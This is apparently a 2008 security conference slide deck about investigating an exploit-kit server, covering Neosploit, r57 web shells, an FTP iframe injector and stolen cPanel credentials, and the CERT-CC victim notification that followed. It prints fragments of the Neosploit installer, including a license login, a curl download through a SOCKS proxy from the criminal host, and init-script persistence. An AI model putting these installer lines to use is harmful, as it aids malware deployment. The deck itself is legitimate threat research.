Down the rabbit Hole

Iftach Ian Amit
Managing Partner
Security Art
Agenda

• Background on research
• The server – first impressions
• Doors, windows, whatever you want to call these…
• Dances with lawyers
• Slip sliding down the hole
  – Tools
  – Scripts
  – Logs, logins, and other “soft” data
• Meanwhile – CERT-CC and other gentleman
• Closure?
• The McColo connection(s)
• Final words, predictions
Who Am I? (iamit)

• Iftach Ian Amit
  – In Hebrew it makes more sense...

• Managing Partner at Security Art

• Past:
  – Director Security Research @ Aladdin
  – Director Security Research @ Finjan
  – Various security consulting/integration gigs in the past
    • R&D
    • IT

• A helping hand when needed... (IAF)
Background – how do you start anyway?

- Uberskillz
- And sheer luck...

Anyone familiar with triquitips.com?
- Come on – it’s a “tips for better programming site”
- Neither was I.

- How about federconsumatori.it (consumer reports for Italy)
- A lot of these started looking awfully alike... and pointing to the same place...
First encounters

• gwtsdjeni.com
• Really meaningful – and somewhat different than the usual Torpig naming convention… an extra letter gives it up!
  – (should be xxxxjeni.com and we got xxdjeni.com)

• So we take a closer look: you speak english?
  – en.php
Doors, windows, whatever you want to call these...

- Aha! Sherlock, I think we are on to something...
- If there’s a shell, there are at least 57 of them...
<table>
<thead>
<tr>
<th>File Path</th>
<th>Owner</th>
<th>Group</th>
<th>Size</th>
<th>Date/Time</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>/home/www/user/WebRoot</td>
<td>web19</td>
<td>web19</td>
<td>108194</td>
<td>Mar 28 2008</td>
<td>r57.txt</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>web19</td>
<td>web19</td>
<td>81189</td>
<td>Mar 28 2008</td>
<td>r57_small.txt</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>web19</td>
<td>web19</td>
<td>108194</td>
<td>Mar 28 2008</td>
<td>r57New.php</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>web19</td>
<td>web19</td>
<td>15824</td>
<td>Mar 19 2007</td>
<td>rpt.js</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>joker</td>
<td>web19</td>
<td>4096</td>
<td>Oct 2 20:33</td>
<td>script</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>joker</td>
<td>web19</td>
<td>4096</td>
<td>Oct 2 22:33</td>
<td>script</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>joker</td>
<td>web19</td>
<td>9422</td>
<td>Feb 20 2007</td>
<td>sh.txt</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>root</td>
<td>web19</td>
<td>3</td>
<td>Oct 3 2006</td>
<td>test.txt</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>joker</td>
<td>web19</td>
<td>4096</td>
<td>Mar 9 2007</td>
<td>tst</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>joker</td>
<td>web19</td>
<td>4096</td>
<td>Sep 21 2007</td>
<td>test1</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>joker</td>
<td>web19</td>
<td>2216</td>
<td>Oct 18 2007</td>
<td>test1.htm</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>web19</td>
<td>web19</td>
<td>220</td>
<td>Mar 27 2008</td>
<td>test1.php</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>web19</td>
<td>web19</td>
<td>4096</td>
<td>Apr 11 10:38</td>
<td>vpn</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>joker</td>
<td>web19</td>
<td>1812046</td>
<td>Jul 24 2007</td>
<td>wmi2.EXE</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>joker</td>
<td>web19</td>
<td>5219</td>
<td>Sep 26 06:17</td>
<td>wrapper.php</td>
</tr>
<tr>
<td>/home/www/user/WebRoot</td>
<td>joker</td>
<td>web19</td>
<td>172566</td>
<td>Oct 23 2007</td>
<td>x.rar</td>
</tr>
</tbody>
</table>
Dances with lawyers

• 1\textsuperscript{st} dilemma – have we gotten too far?
  – We followed an injected script on a legitimate site (i.e. – deobfuscate, view-source of result, figure out the server general identity, \textit{enumerate}).
  – We ran across a service offered by the server, which was not protected by any means of user/password, nor had it any disclaimers (en.php \rightarrow r57new.php).

• 2\textsuperscript{nd} dilemma – are we going to go any further?
  – We can already “see” (i.e. ‘ls’) most of the server – by the means granted to us so far
  – We are not going to brute-force ourselves into anything, or guess any credentials?
Slip sliding down the hole

• Guess what was the decision... (thank you legal department!)
• Skimming the content structure shows:
  – Neosploit (in cgi-bin)
  – Automated FTP Iframe injection tool
  – PHPMyAdmin
  – Truck full ‘o Trojans
  – AWStats logs
  – Setup instructions (I kid you not!)
  – “mail” backend for tracking infections
  – /mc366 – filled with OpenVPN certificates
  – Huge list of CPanel credentials
  – Some more utilities and exploits
  – 15 most wanted???
Tools – FTP IFramer

- FTP IFrame auto-attacker whizbang thingy
  - Was managed separately for each “user” of the system.
  - Each user had run several “campaigns”
  - The logs were a treasure trove... more than 200k credentials used (i.e. ran through the application)
Tools - Neosploit

- So you wanted to hear a bit on Neosploit...
- THE “Rock Star” of crimeware toolkits.
  - It even pulled an Elvis on everyone, and claimed to have disappeared...

- V.1. – solid exploit and simple management, single user system. No licensing.
- V.2. – multiple user support (SaaS), enhanced reporting (country, referrer, Browser/OS), multiple loader configurations. License locked to IP, server validated. Database moved to flat files.
- V.3. – Enhanced licensing (locked to IP+user/pass), installation only though a SOCKS proxy, Enhanced reporting on exploit ROI, Enhanced database management.
Neosploit – digging deeper

• Installation – fully automated using a cgi script:
  – User & password for licensing (checked when connecting to the server to fetch the build).
  – Downloads the build from 0x0c0c0c0c.com
  – Goes through a SOCKS proxy at 12.219.55.171:7062 (control freaks!)
  – Takes care of version checking, unpacking, system (permissions, init scripts, etc...)
  – Bonus – logging...
# ustanovit' svoj username i parol na licenziionnyj servak

```bash
$LICENSE_USERNAME = "benia";
$LICENSE_PASSWORD = "Hhu83i89L1A";
```

# ustanovit' ownera/gruppku kotoryje dolzhny byt' # na fajly v cgi-bin (naprimer user.users):

```bash
$OWNER = "root";
$GROUP = "root";
```

# url dla sliva archiva s softom

```bash
$DOWNLOAD_URL = "https://0x0C0C0C0C0.com/management/download.cgi?version=%s\&\&build=%s";
```

```bash
$CURR_DIR = 'pwd';
chomp($CURR_DIR);
```

```bash
chdir("/tmp");
my $retval = 'curl -u --socks 12.219.55.171:7062 $LID
```

```bash
if ($file_data =~ /401\s+authorization\s+Required/i) {
    Log("error: bad username or password!");
    unlink($tmp_name);
    exit(0);
}
```

```bash
if ($file_data =~ /License\s+Expired/i) {
    Log("error: your license has expired!");
    unlink($tmp_name);
    exit(0);
}
```

```bash
if ($file_data =~ /Invalid\s+Server\s+IP/i) {
    Log("error: invalid server IP entered in your profile!");
    unlink($tmp_name);
    exit(0);
}
```

# propishem stot script v rc.d

```bash
system("ln -s $INITD_SCRIPT /etc/rc2.d/S" . $RC_RING . "ndaemon");
```

```bash
system("ln -s $INITD_SCRIPT /etc/rc3.d/S" . $RC_RING . "ndaemon");
```

```bash
system("ln -s $INITD_SCRIPT /etc/rc4.d/S" . $RC_RING . "ndaemon");
```

```bash
system("ln -s $INITD_SCRIPT /etc/rc5.d/S" . $RC_RING . "ndaemon");
```

```bash
system("ln -s $INITD_SCRIPT /etc/rc6.d/S" . $RC_RING . "ndaemon");
```

```bash
system("ln -s $INITD_SCRIPT /etc/rc7.d/S" . $RC_RING . "ndaemon");
```

```bash
system("ln -s $INITD_SCRIPT /etc/rcS.d/S" . $RC_RING . "ndaemon");
```

```bash
system("ln -s $INITD_SCRIPT /etc/rcS.d/K" . $RC_RING . "ndaemon");
```

```bash
system("ln -s $INITD_SCRIPT /etc/rcS.d/K" . $RC_RING . "ndaemon");
```

```bash
system("ln -s $INITD_SCRIPT /etc/rcS.d/K" . $RC_RING . "ndaemon");
```

```bash
system("ln -s $INITD_SCRIPT /etc/rcS.d/K" . $RC_RING . "ndaemon");
```
Neosploit update statistics (based on logs...)

[Graph showing updates from April to August, with labels for versions 3.0.0 to 3.1.0.]

Apr: 3.0.0, 3.0.2, 3.0.3
May: 3.0.1, 3.0.4, 3.0.5
Jun: 3.0.6, 3.0.7, 3.1.0

Month:
- Apr
- May
- Jun
- Jul
- Aug
The rest ain’t that fun

- **ndaemon** – the backend daemon
  - Implements the DB interface
- **index.cgi** – exploitation frontend
  - Mostly basic decision making based on data from the backend, data from the prospective victim (geoIP, browser string, cookies, referrer, etc...)
- **admin.cgi** – admin interface
  - Basically a frontend for querying the backend for statistical data, and basic configuration
## Vulnerability Stats

### Vulnerability List

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Loads</th>
<th>Productivity</th>
</tr>
</thead>
<tbody>
<tr>
<td>PDF</td>
<td>2093 (40.034%)</td>
<td>3.2691%</td>
</tr>
<tr>
<td>RDS ActiveX</td>
<td>1628 (31.140%)</td>
<td>6.4319%</td>
</tr>
<tr>
<td>QuickTime 1.5bpo</td>
<td>755 (14.460%)</td>
<td>2.9068%</td>
</tr>
<tr>
<td>WMF Plugin Overflow</td>
<td>664 (12.700%)</td>
<td>2.5233%</td>
</tr>
<tr>
<td>Undefined Overflow</td>
<td>44 (0.0816%)</td>
<td>0.1738%</td>
</tr>
<tr>
<td>QuickTime &amp;next</td>
<td>24 (0.4590%)</td>
<td>0.9948%</td>
</tr>
<tr>
<td>SB ActiveX</td>
<td>19 (0.3634%)</td>
<td>0.0750%</td>
</tr>
<tr>
<td>Unknown</td>
<td>0 (0%)</td>
<td>0%</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>5228</strong></td>
<td><strong>20.655%</strong></td>
</tr>
</tbody>
</table>

### Detailed List

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Browser</th>
<th>Service Pack</th>
<th>CS Language</th>
<th>Extra Value</th>
<th>Loads</th>
</tr>
</thead>
<tbody>
<tr>
<td>SB ActiveX</td>
<td>Windows XP MSIE v7.0</td>
<td>SP0</td>
<td>en-US</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Windows XP MSIE v6.0</td>
<td>SP1</td>
<td>en-US</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Windows XP MSIE v6.0</td>
<td>SP2</td>
<td>de</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Windows XP MSIE v6.0</td>
<td>SP2</td>
<td>en-US</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Windows XP MSIE v6.0</td>
<td>SP2</td>
<td>en-GB</td>
<td>0</td>
<td>2</td>
</tr>
<tr>
<td></td>
<td>Windows XP MSIE v6.0</td>
<td>SP2</td>
<td>Fr</td>
<td>0</td>
<td>2</td>
</tr>
<tr>
<td></td>
<td>Windows XP MSIE v6.0</td>
<td>SP3</td>
<td>en-US</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>19 (0.3634%)</td>
</tr>
<tr>
<td>WMF Plugin Overflow</td>
<td>Windows XP Firefox v0.10</td>
<td>SP?</td>
<td>-</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Windows XP Firefox v1.0.7</td>
<td>SP?</td>
<td>-</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td></td>
<td>Windows XP Firefox v1.5.0.12</td>
<td>SP?</td>
<td>-</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td></td>
<td>Windows XP Firefox v1.5.0.1</td>
<td>SP?</td>
<td>-</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Windows XP Firefox v1.5.0.2</td>
<td>SP?</td>
<td>-</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Windows XP Firefox v1.5.0.4</td>
<td>SP?</td>
<td>-</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Windows XP Firefox v1.5.0.6</td>
<td>SP?</td>
<td>-</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Windows XP Firefox v1.5.0.7</td>
<td>SP?</td>
<td>-</td>
<td>0</td>
<td>2</td>
</tr>
<tr>
<td></td>
<td>Windows XP Firefox v1.5.0.9</td>
<td>SP?</td>
<td>-</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Windows XP Firefox v1.5</td>
<td>SP?</td>
<td>-</td>
<td>0</td>
<td>2</td>
</tr>
</tbody>
</table>
Scripts – what’s the next address?

- The modified Torpig domain generator
  - Modified the domain generation logic (last part has an extra letter).
  - Modified to also provide the injection in different formats (popunder variants).

- Great for keeping track of “next hop” planning...

Sources: /ifrmcrypt/crypt.htm, crypt_js.htm, crypt_js_jok.htm
Scripts - ProxyJudge

- A cgi to test whether the victim is behind a proxy.
  - Smart criminals don’t attack twice at the same spot, and need to know whether it’s worthy to unleash their mojo…
Other goodies

• “Howto” in word.
  – (someone from MS wants to check for licensing?)
  – Run install.php, make sure the dir is writeable, and accessible from the web...
  – Packer will verify the integrity of the install (!!!)
  – Change the settings...
  – Check results.
  – Options description, logging, interpreting logs (ASCII graphics!)

• All in Russian 😞
Scripts – CPanel goodies

• Looks like a “braindump” from grabbing interesting credentials.
• TONS of CPanel login info – hundreds of domains...
  – Inline comments in Russian on some of the sections:
    • “clearly has not been able to look after !!!!!!! ”
    • “glyant OWL. previously worked as щас clearly no longer works ”
    • “ekspa need to pop in and remove the soap base ”
    • “this, too many sites and is not small ”
    • “master admin cpanel” (near a hosting site address...)
More goods

- Criminal humor:
  - Under “marshals_investigations_most_wanted” there are a few HTMLs, must be some internal joke or a teaser to LE...
  - Nicks for the gang crew are on this (instead of the original page from the US Marshal site), along with funny caricatures of them...
Meanwhile...

• We haven’t just started debugging, tracing and poking around for fun!
  – The second we managed to clear out the legalities, we pushed everything to CERT-CC

• Coordination efforts:
  – CERT-CC was highly responsive! Created a small task-force to handle the data
  – Analyzed logs, segmented it to 86 different affected countries, started managing the notification process to ALL of them (inc. establishing secure comm. with a few)
  – Worked with FBI and SS in the US
Fancy maps and all...
Closure?

- So, worked with CERT, got a lot of ricochets from the field (some countries the notification process was sloooooow, data got out before the notifications got to the affected parties...)
- A few days to get the bulk of the sites notified.
- Shows up on the “bad-guys” stats as well:
Graphing the main 5 “clients”

Hits per user - Daily

Hits


0 2000 4000 6000 8000 10000 12000 14000 16000 18000 20000

- eagle
- chlu
- grey
- grobin
- leet
Let’s see…

- Post news publication – cleanup as sites notified of breaches
- eCrime operator regroups and recruits new sites, notification process continues…
- eCrime operation back to normal – after stabilizing when the notification is mostly done, the new “batch” is showing some nice performance…

Graphing the total hits per day for the top 5 users of the system
The McColo Connection?

- Remember the door we were peeking through?...

Yup – well into the investigation, we caught a glimpse of the joker while he was at it...
And if we are getting that close and personal

• How ‘bout them .htaccess files?
  – FTP IFrame, PHPMyAdmin, scripts directory...
    were not accessible to the general public

```
allow from 90.189.250.93 66.36.244.234
  66.235.182.115 208.72.169.56 208.72.169.61
  82.103.131.138 82.103.135.175
```

(That’s DC, Newark, Denmark and Russia)

• Yup – these got to LE as well...
Final words

• Can this happen again?

This is bad! FIX IT!!!

• YES?!

Source: “Understanding web browser threat: examination of vulnerable online web browser populations and the ‘insecurity iceberg’”, http://www.techzoom.net/insecurity-iceberg
Yes... (until the rise of the machines)

- Picture taken on Thursday October 16\textsuperscript{th} 2008 at BlueHat. 2 days after the Patch Tuesday. In Microsoft. At Redmond...
How bad can this be anyway?
Final final words...

• What should we be looking for in terms of advancements in “Trojan technology”?
  – Mostly communication
  – What have we learned from the use of legitimate websites on the attack vector?
  – Why not apply it to the rest of the communication channels?
Trojans 2.0 Illustrated
Q&A

• Questions?

• Thank you!

iamit@iamit.org